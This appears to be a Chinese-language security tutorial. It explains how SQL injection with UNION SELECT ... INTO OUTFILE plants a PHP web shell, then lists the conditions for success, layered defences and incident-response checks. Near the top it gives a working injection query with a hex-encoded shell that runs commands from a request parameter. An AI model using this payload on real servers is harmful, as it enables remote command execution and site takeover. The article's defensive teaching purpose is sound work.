⚠️ 安全警示
本文僅供安全研究與防禦教學目的,嚴禁用於非授權滲透測試或攻擊行為。未經授權植入後門屬違法行為,將承擔法律責任。
攻擊原理分析
攻擊者利用 SQL 注入漏洞,透過 UNION SELECT 結合 INTO OUTFILE 將惡意 PHP 代碼寫入 Web 目錄:
SELECT * FROM vbb_strikes WHERE 1
UNION SELECT 2, 3, 0x3C3F7068702073797374656D28245F524551554553545B636D645D293B3F3E
FROM vbb_strikes
INTO OUTFILE 'c:/inetpub/wwwroot/cmd.php'
關鍵技術點
- 十六進制編碼繞過過濾:
0x3C3F706870... 解碼為
- INTO OUTFILE 寫檔:需具備
FILE 權限、目標目錄可寫、secure_file_priv 未限制
- Web 目錄可執行:寫入位置需在 Web 根目錄下且允許 PHP 執行
成功條件檢核
| 條件 | 說明 |
| SQL 注入點 | 應用存在可控的 SELECT 注入 |
| FILE 權限 | 資料庫帳號擁有 FILE 權限 |
| secure_file_priv | MySQL 5.6+ 預設限制匯出目錄,若設為 NULL 則禁用 |
| 目錄寫入權限 | MySQL 服務進程對 Web 目錄有寫入權限 |
| Web 解析執行 | 目標目錄允許 .php 執行,無 .htaccess 禁止 |
防禦對策(纵深防禦)
1. 應用層:參數化查詢
-- 錯誤:字串拼接
$sql = "SELECT * FROM users WHERE id = $_GET[id]";
-- 正確:預處理語句
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?");
$stmt->execute([$_GET['id']]);
2. 資料庫層:最小權限
-- 應用帳號移除 FILE 權限
REVOKE FILE ON *.* FROM 'app_user'@'%';
-- 設定 secure_file_priv 限制匯出目錄(my.cnf)
[mysqld]
secure_file_priv = /var/lib/mysql-files/
3. 系統層:目錄權限隔離
- Web 目錄 不可寫入(僅讀)
- 上傳目錄 禁止腳本執行(Nginx/Apache 關閉 PHP 解析)
- MySQL 資料目錄與 Web 目錄物理隔離
4. 網絡層:WAF 與審計
- 部署 WAF(ModSecurity/云 WAF)攔截注入 Payload
- 啟用 MySQL 審計日誌記錄可疑查詢
- 定期掃描 Web 目錄異常檔案
應急響應檢查
# 檢查近期建立的 PHP 檔案
find /var/www -name "*.php" -mtime -7 -ls
# 檢查資料庫異常 INTO OUTFILE 操作
grep -i "into outfile" /var/log/mysql/audit.log
- 上一篇文章: C# 壓力測試程式同時支援 MySQL 與 SQL Server:連線工廠、批次寫入、效能比對實作
- 下一篇文章: MySQL 加密函數實戰指南:雙向加密 ENCODE/DECODE、AES、單向 MD5/ENCRYPT 保護 Web 敏感資料
Copyright ©
程式碼之家 All Rights Reserved